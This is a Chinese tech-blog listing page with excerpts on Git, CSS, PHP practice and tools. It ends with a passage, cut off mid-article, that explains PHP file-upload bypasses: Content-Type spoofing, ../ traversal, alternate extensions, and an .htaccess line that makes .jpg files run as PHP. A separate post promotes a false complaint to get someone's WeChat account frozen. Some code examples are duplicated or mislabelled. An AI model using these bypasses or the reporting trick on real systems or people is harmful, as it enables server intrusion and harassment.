REC
首页
文章分类
源码资源
技术教程
程序软件
文创娱乐
玄学修炼
关于我们
其他页面
网站统计
友情链接
用户留言
高清壁纸
关于易航
热门文章
Joe再续前缘主题 - 本站同款
易航网址导航系统 – 功能强大,轻量易用
Js自动播放HTML音乐(不受浏览器限制,无需先与浏览器交互,无需对浏览器进行修改)
网易云官方歌曲解析接口
JsonDb-PHP轻量级文件数据库系统
标签搜索
PHP
Web前端
网站源码
PHP源码
Typecho
课程资料
武术内功
HTML源码
Windows程序
Web
Android软件
Typecho插件
Joe主题
国漫
网络协议
MySQL
Python
NodeJs
Windows
小说
发布
登录
注册
找到
130
篇与
技术教程
相关的结果
- 第 2 页
2025-01-15
掌握这 20 个 Git 命令,成为团队协作高手!
Git 已经成为当前软件开发版本控制的标准工具。掌握 Git 不仅能提高个人开发效率,更能促进团队协作,分享 20 个最常用的 Git 命令。 基础配置命令 1. 初始化配置 配置用户信息是使用 Git 的第一步: # 配置全局用户名和邮箱 git config --global user.name "FedJavaScript" git config --global user.email "FedJavaScript@example.com" # 查看配置信息 git config --list2. 仓库初始化 创建新的 Git 仓库: # 初始化新仓库 git init # 克隆远程仓库 git clone <repository-url>日常工作命令 3. 状态查看 实时了解仓库状态: # 查看工作区状态 git status # 查看简化状态信息 git status -s # 查看分支情况 git branch -v4. 添加和提交 基本的版本控制操作: # 添加指定文件到暂存区 git add <file-name> # 添加所有更改 git add . # 提交到本地仓库 git commit -m "commit message" # 添加并提交 git commit -am "commit message"5. 分支操作 分支管理是 Git 的核心功能: # 创建新分支 git branch <branch-name> # 切换分支 git checkout <branch-name> # 创建并切换分支 git checkout -b <branch-name> # 删除分支 git branch -d <branch-name>高级协作命令 6. 远程仓库操作 与远程仓库交互: # 添加远程仓库 git remote add origin <repository-url> # 查看远程仓库 git remote -v # 推送到远程 git push origin <branch-name> # 拉取远程更新 git pull origin <branch-name>7. 合并与衍合 处理分支合并: # 合并分支 git merge <branch-name> # 变基操作 git rebase <branch-name> # 解决冲突后继续变基 git rebase --continue8. 暂存操作 临时保存工作进度: # 保存当前工作进度 git stash # 查看存储的工作进度 git stash list # 恢复最近的进度 git stash pop # 删除所有进度 git stash clear高级查看命令 9. 日志查看 查看提交历史: # 查看提交日志 git log # 查看简化日志 git log --oneline # 查看图形化日志 git log --graph --pretty=oneline --abbrev-commit10. 差异比较 比较文件差异: # 查看工作区和暂存区的差异 git diff # 查看暂存区和最新提交的差异 git diff --staged # 查看两个分支的差异 git diff <branch1> <branch2>撤销与重置 11. 撤销操作 修正错误操作: # 撤销工作区的修改 git checkout -- <file-name> # 撤销暂存区的修改 git reset HEAD <file-name> # 创建反向提交 git revert <commit-id>12. 重置操作 重置版本: # 软重置 git reset --soft HEAD^ # 混合重置 git reset --mixed HEAD^ # 硬重置 git reset --hard HEAD^团队协作进阶 13. 标签管理 版本标记: # 创建标签 git tag <tag-name> # 创建带注释的标签 git tag -a <tag-name> -m "tag message" # 推送标签到远程 git push origin <tag-name>14. 子模块 管理项目依赖: # 添加子模块 git submodule add <repository-url> # 初始化子模块 git submodule init # 更新子模块 git submodule update15. 工作流相关 # 创建补丁 git format-patch -1 <commit-id> # 应用补丁 git apply <patch-file> # 拣选提交 git cherry-pick <commit-id>配置与优化 16. 别名配置 提高效率的快捷命令: # 配置常用别名 git config --global alias.co checkout git config --global alias.br branch git config --global alias.ci commit git config --global alias.st status17. 忽略文件 管理不需要版本控制的文件: # 创建.gitignore 文件 touch .gitignore # 常见配置示例 *.log node_modules/ .DS_Store18. 历史管理 # 修改最后一次提交 git commit --amend # 压缩历史 git rebase -i HEAD~3 # 清理历史 git gc19. 远程分支管理 # 查看远程分支 git remote show origin # 清理远程分支 git remote prune origin # 跟踪远程分支 git branch --track <branch-name> origin/<branch-name>20. 高级查找 # 查找内容 git grep "search term" # 查找提交者 git log --author="committer name" # 按日期查找 git log --since="2019-01-01" --until="2019-06-30"日常工作流程 更新本地代码 git pull origin main创建功能分支 git checkout -b feature/new-feature定期提交 git add . git commit -m "commit message"推送到远程 git push origin feature/new-feature提交信息规范 采用约定式提交格式: # 功能开发 feat: add new feature # 修复bug fix: resolve issue #123 # 文档更新 docs: update README.md分支管理策略 main/master:主分支,保持稳定 develop:开发分支 feature/*:功能分支 hotfix/*:紧急修复分支 release/*:发布分支 欢迎补充。
技术教程
易航
1月15日
0
21
1
2025-01-15
鬼谷子识人术:背熟五句口诀,教你识破天下人
在这个纷繁复杂的社会大舞台上,每个人都是独一无二的角色,扮演着各自的故事。 但无论角色如何变换,人性中的那些微妙与复杂,总能在不经意间显露无遗。 今天,咱们就来聊聊鬼谷子识人术,这不仅仅是一门古老的智慧,更是洞察人心、识破天下人的不二法门。 记住这五句口诀,让你在职场、生活中游刃有余,仿佛拥有了透视人心的“X光眼”。 第一句:观其言,察其行,言行不一者慎交 老话常说:“听其言,观其行。” 但鬼谷子识人术更进一步,强调“言行合一”的重要性。 在这个快节奏的社会里,人们往往习惯于用华丽的辞藻包装自己,而实际行动却往往滞后甚至背道而驰。 比如,那位总爱在会上拍着胸脯保证“这事包在我身上”的同事,转身却把任务推得一干二净。 这样的人,就是典型的“言语的巨人,行动的矮子”。 遇到这类人,咱们得多个心眼,别轻易交心,因为他们的承诺往往轻如鸿毛,随风而散。 再举个例子,我发小小张,人前人后两副面孔。 聚会时总是满口仁义道德,说要如何如何帮衬朋友,可一旦真遇到事儿,跑得比谁都快。 时间一长,大家对他都敬而远之。 这就是言行不一的代价,失去了他人的信任和尊重。 第二句:静水深流,大智若愚,深藏不露者多谋略 在人群中,总有那么一些人,他们不张扬、不炫耀,仿佛是人群中的隐形人。 但正是这些看似平凡无奇的人,往往蕴含着深不可测的智慧与谋略。 他们就像深潭之水,表面平静无波,实则暗流涌动。 鬼谷子告诉我们,对于这类人,我们应该保持敬畏之心,不要轻易小觑。 记得大学时有个同学老李,平时话不多,总爱泡在图书馆里。 大家都以为他是个书呆子,没想到毕业后他创办了一家科技公司,短短几年就做得风生水起。 原来,他在校期间就已经默默研究市场动态,积累人脉资源。 这种大智若愚、深藏不露的性格,让他在关键时刻能够一鸣惊人。 第三句:喜怒不形于色,情绪管理高手藏心机 情绪,是人性中最直观也是最容易被利用的一面。 而真正的高手,往往能够做到喜怒不形于色,即使内心波涛汹涌,表面也能波澜不惊。 这样的人,通常心机深沉,善于控制局面,让人难以捉摸其真实意图。 部门里有个领导就是这样的人物,无论面对多大的压力和挑战,他总能保持镇定自若,仿佛一切尽在掌握之中。 有一次项目遇到突发状况,大家都急得像热锅上的蚂蚁,他却能冷静分析,迅速找到解决方案。 这种情绪管理的能力,不仅让他赢得了团队的尊重,也让竞争对手望尘莫及。 第四句:见微知著,细节之处见真章 鬼谷子识人术还强调“见微知著”的重要性。 一个人的性格、习惯乃至价值观,往往会在不经意间通过一些小细节流露出来。 因此,我们要学会观察,从细微之处入手,去洞察一个人的内心世界。 比如,一个人对待服务员的态度,就能反映出他的修养和教养。 那些对服务员呼来喝去、毫无尊重之意的人,往往也是自私自利、缺乏同理心的人。 而那些能够平等对待每一个人,即使面对最不起眼的角色也能保持礼貌和尊重的人,则更值得我们交往和信赖。 第五句:逆境识人心,患难见真情 最后,鬼谷子识人术还教会我们一个至理名言:“逆境识人心,患难见真情。” 在顺境中,人们往往容易伪装自己,展现出最美好的一面。 而只有在逆境和患难之中,人性的光辉与阴暗才会被彻底放大,露出最真实的面目。 我有一个朋友,曾经因为一场突如其来的变故,陷入了人生的低谷。 那时,他身边的很多朋友都选择了疏远和逃避,只有少数几个人始终不离不弃,陪他走过了那段艰难的时光。 这些在逆境中依然坚守的朋友,让他深刻体会到了“患难见真情”的真谛。 总结 总之,鬼谷子识人术这五句口诀,不仅是对人性的深刻洞察,更是我们在复杂社会中立足的宝贵财富。 记住它们,并灵活运用到实际生活中去,你会发现,原来识人并不难,关键在于你是否愿意用心去观察、去体会。 在这个充满变数的世界里,让我们用智慧的眼睛去识破天下人,找到那些真正值得交往和信赖的朋友与伙伴。
技术教程
# 课程资料
易航
1月15日
0
18
0
2025-01-14
解锁 PHP 严格类型:提升代码质量的密钥
对于广大 PHP 开发者来说,代码质量可是重中之重。今天就来聊聊 PHP 中的严格类型,这可是提升代码水平的一大 “神器”。 一、从一个小案例说起 话说有这么一位 PHP 开发者小李,在开发一个小型电商网站的过程中,写了一段看似普通的代码。这段代码用于计算商品的总价,函数接收商品数量和单价两个参数。一开始,小李没太在意参数的数据类型,在测试时传入了一个字符串形式的数量和浮点数的单价,代码居然悄无声息地进行了类型转换,得出了一个莫名其妙的结果,导致订单总价完全错误。这一问题可让小李头疼不已,而这,正是因为没有启用 PHP 严格类型引发的典型问题。由此,PHP 严格类型的重要性便初见端倪。 二、PHP 严格类型是什么 在 PHP 里,有个关键的 strict_types 指令。它就像是一位严谨的守门人,作用于文件级别,掌控着类型声明的严格性。当开启它后,函数的参数、返回值等都必须精准匹配预先设定的类型,容不得半点马虎。启用的方法很简单,只需在 PHP 代码文件的开头加上 declare(strict_types = 1); 这一行魔法代码,就能开启严格类型检查之旅。 三、严格类型的特点 1、精确匹配 一旦开启严格类型,函数参数和返回值都必须严格按照声明的类型来。比如说,定义了一个函数接收整数类型的参数,要是传入了字符串或者其他不匹配的类型,PHP 就会立刻报错,绝不姑息。这和未启用时的 “宽松” 形成鲜明对比,未启用时,PHP 会默默进行类型转换,虽然代码可能继续运行,但结果往往偏离预期,就像前面小李遇到的问题一样。 2、按文件生效 PHP 的严格类型检查是以文件为单位发挥作用的。这意味着,在一个多文件的项目中,每个文件都可以独立自主地决定是否开启严格类型。例如,在一个大型的 Web 应用里,有的文件处理核心业务逻辑,对数据准确性要求极高,开发者就可以在这些文件开启严格类型;而一些辅助性的文件,如简单的工具类文件,若开发者觉得暂时没必要严格约束,就可以选择不开启。这种灵活的设置方式,让开发者能根据实际需求精准把控代码质量。 四、PHP 严格类型的优势 1、提高代码质量 有了严格类型,就相当于给代码加了一道坚固的防护网。在开发阶段,它能提前揪出那些因类型不匹配导致的错误,避免这些隐患潜伏到运行时才爆发。如此一来,代码的稳定性大幅提升,上线后出现莫名其妙错误的概率也大大降低。 2、增强可读性和维护性 当代码中明确了类型声明,对于后续阅读和维护代码的人来说,就像是拥有了一张清晰的地图。新加入团队的成员或者几个月后开发者自己回头看代码,都能迅速了解函数期望接收的数据类型,从而更快地理解代码逻辑,方便进行修改和优化。 3、与现代编程接轨 在当今的编程世界里,越来越多的现代编程语言都强调强类型系统。PHP 引入严格类型,无疑是顺应了这一潮流,让 PHP 代码在面对复杂项目、大型团队协作时更具竞争力,有助于提升整个项目的代码现代化程度。 五、实际应用场景 1、敏感数据处理 在涉及敏感信息的场景中,比如用户密码验证模块,密码通常以字符串形式存储和处理。开启严格类型后,能确保传入验证函数的参数必须是正确的字符串格式,防止因意外的类型转换导致密码验证出错,保障用户账号安全。再如金融数据计算,像银行利息计算、股票交易金额计算等,每一个数字都关乎重大,严格类型确保参与计算的数据都是精确的数值类型,避免出现财务数据错误。 2、复杂业务逻辑 以电商系统的订单处理为例,订单创建、状态更新、物流配送信息关联等一系列操作涉及众多函数调用和数据传递。使用严格类型,能清晰界定每个环节所需的数据类型,从订单号的字符串格式,到商品数量、价格的数值类型,再到客户地址信息的结构化数据类型,让整个业务流程有条不紊地运行,降低错误发生的概率。同样,在物流跟踪系统中,快递单号的准确传递、时间戳的正确处理等,严格类型都能起到关键的保障作用。 六、如何启用和使用 1、启用方法 重点再强调一遍,开发者只需在 PHP 代码文件的开头添加declare(strict\_types = 1);,就能轻松开启严格类型检查模式,开启代码质量提升之路。 2、使用注意事项 需要注意的是,严格类型仅对有类型声明的代码生效。对于数组和对象的继承关系,以及一些动态类型检查的操作,它并不会产生干扰。开发者在使用过程中,要清楚了解这一点,合理利用严格类型的优势,避开不必要的误区。 总结 总的来说,PHP 严格类型对于开发者而言,就像是一把精准的手术刀,能够帮助他们雕琢出高质量、低错误率的代码。它在提升代码稳定性、可读性以及与现代编程接轨等方面都有着不可忽视的作用。各位 PHP 开发者们,不妨在接下来的项目中积极尝试启用严格类型,让自己的代码质量更上一层楼。
技术教程
# PHP
易航
1月14日
0
22
0
2025-01-14
PHP文件操作指南:如何使用 fread 函数逐行读取大文件
在 PHP 中,处理大文件是常见的任务。然而,如果不使用适当的方法,读取大文件可能会导致内存溢出的问题。在本文中,我们将介绍如何使用 PHP 的 fread 函数逐行读取大文件,并提供相应的代码示例。 首先,让我们了解一下 fread 函数。该函数用于从文件中读取指定长度的数据。参数包括文件句柄和读取的字节数。 在读取大文件时,我们通常希望逐行读取,这样可以减少内存的消耗。下面是一个使用 fread 函数逐行读取大文件的示例代码: <?php function readLargeFile($filename) { $handle = fopen($filename, "r"); if ($handle) { while (($line = fgets($handle)) !== false) { // 处理每一行的数据 echo $line; } fclose($handle); } } // 使用示例 readLargeFile("large_file.txt"); ?>在上述代码中,我们首先使用 fopen 函数打开文件并获取文件句柄。然后,使用 while 循环和 fgets 函数逐行读取文件内容。在每次循环中,我们可以对每一行的数据进行处理。 值得注意的是,在处理大文件时,我们并不是一次性将整个文件加载到内存中。相反,我们每次只读取一行内容,并处理后再读取下一行,以此循环下去。这样做可以减少内存的消耗,避免因读取大文件而导致的内存溢出问题。 除了使用 fread 函数逐行读取大文件外,还有一些其他的技巧可以帮助我们更好地处理大文件。以下是一些值得注意的事项: 1、使用缓冲区:在读取大文件时,可以设置一个适当大小的缓冲区,将文件内容按块读取到缓冲区中,然后再逐行处理。这样可以提高读取文件的效率。 2、使用 fseek 函数:如果我们需要在大文件中进行定位,可以使用 fseek 函数跳转到指定的位置。这样我们就可以从指定位置开始逐行读取文件内容。 3、增加内存限制:在 PHP.ini 配置文件中,我们可以设置最大内存限制。如果我们处理的大文件超出了默认的内存限制,可以适当增大此限制。 综上所述,逐行读取大文件是一个常见且有挑战性的任务。通过使用 fread 函数和上述的技巧,我们可以更有效地处理大文件,降低内存消耗,并提高代码的性能。
技术教程
# PHP
易航
1月14日
0
11
0
2025-01-12
我常用的十个 CSS 代码技巧
在 CSS 开发中,一些简单的一行代码往往可以让你的页面变得更加优雅高效。以下是 10 个我喜欢使用的 CSS 一行代码,它们不仅简洁,还能在实际项目中起到很大的作用。 1. 设置宽高比例(Aspect Ratio) 通过 aspect-ratio 属性,可以根据指定的宽度自动调整高度(反之亦然)。 .box { width: 90%; aspect-ratio: 16/9; }适合用在视频播放器或图片容器中,确保它们以正确的比例呈现。 2. 逻辑属性(Logical Properties) 使用 margin-block 和 margin-inline 替代传统的 margin-top、margin-right 等,更加简洁直观。 .box { margin-block: 5px 10px; /* 上边距 5px,下边距 10px */ margin-inline: 20px 30px; /* 左边距 20px,右边距 30px */ }对于 padding 也是一样的: .box { padding-block: 10px 20px; /* 上下内边距 */ padding-inline: 15px 25px; /* 左右内边距 */ }这些属性会自动适配文本方向(如从左到右或从右到左)。 3. 全局盒模型设置 避免因默认 box-sizing 属性引起的布局问题,通过以下一行代码可以让所有元素包含其内边距和边框: *, *::before, *::after { box-sizing: border-box; }这可以大幅减少布局错误,让开发更加省心。 4. 平滑滚动(Smooth Scroll) 为整页启用平滑滚动,提升用户体验: html { scroll-behavior: smooth; }在单页网站或锚点导航中尤为实用。 5. 垂直书写模式(Vertical Writing Mode) 让文字从右向左垂直排列,可用于特殊设计场景或支持垂直书写的语言: .vertical-text { writing-mode: vertical-rl; }6. 文本溢出省略号(Truncating Text with Ellipsis) 对于超出容器的长文本,可以用省略号代替多余部分: .ellipsis { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }适合用在标题、卡片或链接预览中。 7. 居中对齐(Place-items) 使用 place-items 快速实现网格容器的水平和垂直居中对齐: .box { display: grid; place-items: center; }8. 限制文本宽度(Limit Text Width) 通过限制每行文本的最大字符数,提升可读性: p { max-width: 100ch; }“ch” 单位表示一个字符的宽度,非常适合用于段落样式。 9. 占位符样式(Styling Placeholder Text) 给输入框的占位符文本添加样式: ::placeholder { color: #999; font-style: italic; }10. 统一的强调色(Accent Color) 通过 accent-color 为交互元素(如按钮、复选框)设置统一的主题颜色: body { accent-color: green; }可以在整个网站中保持一致的视觉风格,而无需单独为每个元素定义样式。 总结 这些 CSS 一行代码涵盖了布局优化、用户体验提升和样式统一等多个方面,既实用又高效。将它们融入你的日常工作流,可以让项目的开发更加轻松,同时大幅提升代码的质量和可维护性。 试试这些技巧,感受它们带来的改变吧!
技术教程
# Web前端
易航
1月12日
0
31
0
2025-01-12
WX 举报他人 100% 冻结7天 亲测成功!
投诉理由填写下方这个100%掉 隐藏内容,请前往内页查看详情 投诉选:发布不适当内容对我骚扰,聊天证据随便选一条,聊天截图不用,最后投诉理由填这代码。 请勿轻易使用
技术教程
易航
1月12日
9
36
1
2025-01-11
解锁 PHP 异常处理:构建高可靠性应用
健壮的PHP应用注重完善的错误处理机制,它是可靠性、可性和用户友好性的基石。然而,维护错误处理却常常被忽视或未能得到一致的应用,导致代码库脆弱、难以实现调试和维护。尽管许多开发者意识到错误处理的重要性,但我却发现一些应该是常识性的做法,例如正确的处理异常,在实际项目中经常被误解、误用,甚至完全被忽略。这让我意识到即使到了,皮肤基本的错误处理技巧,也值得反复强调和重视。 这凸显了积极讨论和推广异常处理最佳实践的重要性。未能正确捕获错误、中断通用异常类型、或者在错误消息中遗漏了关键上下文信息,这些常见的错误都会降低应用程序的健壮性,并显着增加调试的难度。 本文将重点探讨PHP异常的重要性,以及如何利用它们编写更简洁、补充弹性的代码。通过理解异常的机制和正确的使用方法,我们可以弥补实践中的不足,构建既健壮又易于维护的应用程序。 为什么异常对于错误至关重要处理 传统的错误处理方式(如返回错误代码)常常导致代码冗长且容易出错。异常提供了一种更清晰、更格式化的错误处理方式,其优点在于: 分离错误处理逻辑与业务逻辑,使代码更简洁易懂。 支持集中式错误管理,提高代码的可维护性。 提供堆栈跟踪信息,简化调试过程。 采用包装的 try/catch 块,使错误处理流程更清晰。 使用异常能够确保在整个应用程序中实现一致且有效的错误处理。 1、抛出和捕获异常 而返回错误代码,不如使用 throw 语句发送异常。这会立即中断当前代码执行流程,确保错误被及时并发现处理。 function divide($a, $b) { if ($b === 0) { throw new InvalidArgumentException("Division by zero is not allowed."); } return $a / $b; } try { echo divide(10, 0); } catch (InvalidArgumentException $e) { echo "Error: " . $e->getMessage(); } 异常会中断当前执行流程,并沿着调用栈向上冒泡,直到被捕获。 使用具体的异常类(如InvalidArgumentException)可以更清晰地表达错误类型,方便后续处理。 2、创建自定义异常类 为了更准确地描述和处理错误,建议创建自定义异常类。这有助于为错误添加特定上下文信息,从而更容易理解和管理。 function divide($a, $b) { if ($b === 0) { throw new InvalidArgumentException("Division by zero is not allowed."); } return $a / $b; } try { echo divide(10, 0); } catch (InvalidArgumentException $e) { echo "Error: " . $e->getMessage(); }自定义异常可以提高代码的可执行性,并支持更细粒度的错误处理。 3、使用全局异常处理程序 为了捕获应用程序中所有未处理的异常,请设置一个全局异常处理程序。这样可以确保任何错误都不会被遗漏,并为意外错误提供兜底方案。 set_exception_handler(function ($exception) { error_log("Unhandled exception: " . $exception->getMessage()); echo "An unexpected error occurred. Please try again later."; }); throw new Exception("Test exception"); 集中式错误日志记录:主要是跟踪和分析错误。 优雅的用户体验型错误提示:提升用户体验。 防止程序崩溃:降低未处理异常导致应用程序崩溃的风险。 4、将错误转化为异常 PHP允许你使用自定义错误处理程序将传统错误(例如通知、警告)转换为异常。这有助于将所有错误处理统一到异常机制处理下。 set_error_handler(function ($severity, $message, $file, $line) { throw new ErrorException($message, 0, $severity, $file, $line); }); try { echo $undefinedVariable; // Will trigger an error } catch (ErrorException $e) { echo "Converted Error: " . $e->getMessage(); }将错误转换为异常后,你可以使用try-catch代码块对所有问题进行统一管理。 5、记录异常 为了方便排查故障和监控系统运行状况,一定记录所有异常。建议使用 Monolog 等日志库,或 Sentry 等外部监控服务。 try { throw new RuntimeException("Something went wrong."); } catch (RuntimeException $e) { error_log($e->getMessage()); echo "An error occurred. Please try again later."; }预定日志信息包含关键细节,例如错误消息、堆栈跟踪以及时钟。 6、应用程序逻辑的异常 异常不仅可以处理运行时错误,还可以用于增强业务逻辑的健壮性以及验证用户输入。 function processOrder($quantity) { if ($quantity <= 0) { throw new InvalidArgumentException("Quantity must be greater than zero."); } echo "Order processed for quantity: $quantity"; } try { processOrder(0); } catch (InvalidArgumentException $e) { echo "Validation Error: " . $e->getMessage(); }将异常用于逻辑验证有助于保证代码的健壮性和可预测性。 总结 异常是构建健壮且易于维护的PHP应用程序的强大工具。通过以下实践: 使用錯誤類型 设置全局异常处理程序 将错误转化为异常 记录错误 您可以构建一致且构造的错误处理策略。异常能够确保错误得到有效处理,使代码更简洁、更容易调试。 错误的目的,但完善的异常处理机制可以化解混乱,提升应用的稳定性和可靠性。
技术教程
# PHP
易航
1月11日
0
14
0
2025-01-11
15 个让你的 PHP 开发工作 更轻松的插件
在 PHP 开发过程中,借助各种插件可以显著提高开发效率、增强代码质量、改善工作流等。 以下是 15 个推荐的 PHP 插件,它们可以帮助你更轻松地进行开发,涵盖代码质量、调试、自动化、框架支持等多个方面。 PHPStan PHPStan 是一个静态分析工具,它帮助开发者发现潜在的错误和不一致的代码。PHPStan 支持各种 PHP 版本,并能发现潜在的类型错误、未使用的代码等问题。 功能: 静态类型检查。 提供详细的错误信息。 与 IDE 集成,实时反馈错误。 安装: composer require --dev phpstan/phpstan集成:与 IDE 如 PHPStorm、VSCode 配合使用,提供实时分析。 Xdebug Xdebug 是 PHP 中最常用的调试工具。它允许你进行步进调试、性能分析(profiling)和代码覆盖分析。Xdebug 通过提供堆栈跟踪和详细的错误信息,可以帮助你快速定位问题。 功能: 断点调试。 性能分析。 堆栈跟踪和错误日志。 安装: sudo apt-get install php-xdebug集成:可以与 IDE(如 PHPStorm、VSCode)配合使用,进行更高效的调试。 PHP_CodeSniffer PHP\_CodeSniffer 是一个用于检测 PHP 代码是否符合 PSR 编码标准的工具。它可以自动检查你的代码是否遵循 PSR-1、PSR-2、PSR-12 等编码标准,保持代码的一致性和可读性。 功能: 自动检测编码风格错误。 提供修复建议。 支持 PSR 标准和其他编码风格。 安装: composer require --dev squizlabs/php_codesniffer集成:与 IDE(如 PHPStorm)集成,自动提示代码风格问题。 Composer Composer 是 PHP 中最常用的依赖管理工具,几乎每个 PHP 项目都会使用它。它不仅用于管理第三方库,还能处理自动加载和版本控制。 功能: 管理项目的依赖。 支持自动加载。 提供版本控制和更新。 安装: curl -sS https://getcomposer.org/installer | php集成:集成到任何 PHP 项目中,自动管理依赖库。 Laravel Debugbar Laravel Debugbar 是一个用于 Laravel 框架的调试工具,它可以显示详细的请求信息、数据库查询、视图渲染、路由等调试信息。 功能: 显示请求的 HTTP 信息。 显示数据库查询、模型调试。 提供内存使用和执行时间统计。 安装: composer require barryvdh/laravel-debugbar --devTinker Tinker 是 Laravel 框架自带的交互式命令行工具。它让你可以在命令行中直接执行 PHP 代码,进行测试和调试,特别适合 Laravel 的开发者。 功能: 交互式命令行。 直接执行 Eloquent 查询和模型操作。 快速测试代码片段。 安装: composer require laravel/tinker --devPHPUnit PHPUnit 是 PHP 中最常用的单元测试框架。它帮助开发者编写和运行测试,确保代码的可靠性和稳定性。 功能: 单元测试、集成测试和功能测试。 提供详细的测试报告。 与 CI/CD 工具集成,自动化测试。 安装: composer require --dev phpunit/phpunitTwig Twig 是一个灵活的 PHP 模板引擎,它非常适用于动态内容生成。它的语法简洁,提供了丰富的扩展功能。 功能: 支持条件语句、循环、过滤器等。 提供缓存机制,提高性能。 与 Symfony、Laravel 等框架兼容。 安装: composer require twig/twigPHPMD (PHP Mess Detector) PHPMD 是一个静态分析工具,用于检查 PHP 代码中的潜在问题。它会检测代码中的“坏味道”,如重复代码、过长的函数、复杂度高的函数等。 功能: 检测潜在的代码问题。 支持规则自定义。 提供详细的报告。 安装: composer require --dev phpmd/phpmdPHP-CS-Fixer PHP-CS-Fixer 是一个自动修复代码风格问题的工具,支持 PSR 规范和其他流行的编码标准。它不仅能帮助你发现代码风格问题,还能自动修复这些问题。 功能: 自动修复代码风格问题。 支持 PSR 标准和其他风格。 配置灵活,支持规则自定义。 安装: composer require --dev friendsofphp/php-cs-fixerLaravel Eloquent Sluggable Eloquent Sluggable 是一个 Laravel 插件,帮助你为模型生成 SEO 友好的 URL 标识符(Slug)。它可以自动为你创建和管理 slug。 功能: 自动生成 slug。 支持自定义字段生成 slug。 与 Eloquent 模型无缝集成。 安装: composer require cviebrock/eloquent-sluggableSwoole Swoole 是一个高性能的异步网络通信框架,旨在提升 PHP 的并发处理能力。它支持协程、WebSocket、HTTP 等功能,可以大幅提高 PHP 应用的性能。 功能: 支持协程、异步、并发。 支持 WebSocket、TCP、HTTP 等协议。 提升 PHP 应用的性能。 安装: pecl install swooleLaravel Horizon Laravel Horizon 是一个用于监控 Laravel 队列的插件,它提供了一个漂亮的仪表板,可以帮助开发者管理队列的处理过程、失败的任务等。 功能: 实时监控队列。 提供队列处理的统计信息。 支持队列任务的重试和失败日志。 安装: composer require laravel/horizonCarbon Carbon 是一个用于日期和时间处理的 PHP 扩展,基于 PHP 的 DateTime 类。它为日期和时间提供了很多方便的操作和格式化方法。 功能: 支持日期加减、格式化、比较。 提供丰富的日期操作方法。 兼容时区处理。 安装: composer require nesbot/carbonGuzzle Guzzle 是一个强大的 PHP HTTP 客户端,用于发送 HTTP 请求并处理响应。它支持同步和异步请求,支持文件上传、JSON 支持等功能。 功能: 支持同步和异步请求。 支持文件上传和 JSON 处理。 提供详细的错误处理。 安装: composer require guzzlehttp/guzzle总结 以上 15 个 PHP 插件覆盖了开发中的各个方面,从编码标准、测试工具、调试工具,到模板引擎、HTTP 客户端等,它们能帮助开发者提高代码质量、开发效率、调试体验和性能等。 如果你能在 PHP 项目中有效地应用这些插件,将会大大简化开发流程,提高团队协作效率,并让项目更具可维护性。 图片
技术教程
# PHP
易航
1月11日
0
26
0
2025-01-10
PHP 文件上传漏洞总结
文件上传漏洞 文件上传漏洞是指后端服务器允许前端用户上传文件,但是对文件的名称、后缀、内容、大小等信息没有做过滤和控制,导致攻击者可以上传任意文件到服务器。 影响 1、上传恶意文件:比如上传后缀为.php、.jsp的文件,服务器收到后,对其没有进行校验。访问文件时,直接调用PHP解释器或JSP引擎执行,如果文件内容是可以执行系统命令的代码,攻击者就可以通过该文件获取服务器权限。 2、覆盖关键文件:服务器允许上传相同文件名的文件,如果可以通过目录遍历更改上传路径和位置,则可以覆盖关键文件。 3、DDoS攻击:如果服务器对上传文件的大小没有限制,则可以上传大量超大文件,占用服务器存储空间,消耗服务器带宽,造成DDoS攻击。 漏洞利用 当服务器存在文件上传漏洞时,需要根据具体情况采用合适的利用办法和绕过方式等,如下。 无限制上传WebShell 服务器不管是在前端还是后端,都没有对用户上传的文件做过滤和校验,导致攻击者可以在上传点直接上传webshell到服务器,从而获取服务器控制权。 绕过Centent-Type验证上传WebShell MIME:定义数据类型,告诉客户端或服务器,数据是什么类型,应该用什么方式处理。 Centent-Type:HTTP协议的一个字段,是MIME在HTTP协议中的应用。 Centent-Type验证属于后端的一个防护,服务器收到请求后,会验证Centent-Type类型是否被允许,如果不允许,则拒绝请求。如下图: 图片 假设服务器只允许Centent-Type类型为image/jpeg,上传test.php,Content-Type类型是application/octet-stream,服务器收到请求后,对Centent-Type进行对比检查,如果不符,拒绝访问。 在实战利用中,可以修改Centent-Type为服务器允许的类型进行绕过,方法有二。 一、前端上传.php文件,对上传请求进行拦截,在请求包中修改Centent-Type。 二、前端上传服务器允许的文件,如.jpg,对上传请求进行拦截,在请求包中修改文件文件后缀及内容。 通过目录遍历上传WebShell 为了让攻击者无法通过上传WebShell获取服务器权限,一般会将上传目录设置为只允许上传静态文件,且没有执行权,文件不允许被当作脚本执行,就算绕过层层防护,把WebShell上传到了服务器,也无法利用。 上传成功后,访问时,会把WebShell内容直接输出,或者是将WebShell下载,而不是调用解释器执行。 图片 遇到这种情况时,就是上传目录没有执行权,要绕过防护执行WebShell,可以通过中间件解析漏洞,或者通过目录遍历,将文件上传到可执行目录中,解析漏洞后面会详细讲,这里主要说一下目录遍历绕过。如下图: 图片 使用../将WebShell上传到上层目录,服务器如果对目录遍历有检测,禁止使用../进行目录遍历,也可以尝试目录遍历绕过,比如将/进行URL编码或其他什么方式。 绕过黑名单上传WebShell 情况一: 为了不让攻击者上传.php、.jsp等后缀的恶意文件,服务器直接将这些后缀列入了黑名单,但是百密一疏,黑名单这种情况总会漏掉一些其他可执行的文件后缀,如下: php > php3、php5、phtml jsp > jspx asp > asa、aspx如果服务器采用黑名单防护,可以尝试其他后缀代替。 情况二: 关于覆盖服务器配置的情况,服务器怎么去处理文件,以什么方式处理,都是根据配置文件中的配置去执行的,拿Apache服务器举例,Apache的配置文件是/etc/apache2/apache2.conf,如下配置: LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php这段配置是告诉服务器,加载php模块,将.php文件交给php解释器处理,那假如要配置上传目录没有执行权限,是不是也要跑到/etc/apache2/apache2.conf下配置呢,其实不用,该配置文件应用于全局,也就是整个服务器,为了一个目录的配置而修改整个服务器的配置是非常不方便的,这时候就用到了.htaccess文件,这是一个只针对于目录的配置文件,不影响全局配置,怎么使用呢,只要在需要单独配置的目录下,创建.htaccess文件即可,立即生效,不需要重启服务器。 如果服务器使用黑名单防护漏掉了.htaccess文件,则可以通过上传该文件修改目录配置或权限,假如上传目录upload没有执行权,那么可以上传以下内容的.htaccess。 LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php .jpg .txt简单理解就是后缀为.php、.jpg、.txt的文件,都交给php解释器执行,不管是图片马还是内容为木马的文本文件,都可以进行利用从而获取服务器权限。 混淆后缀上传WebShell 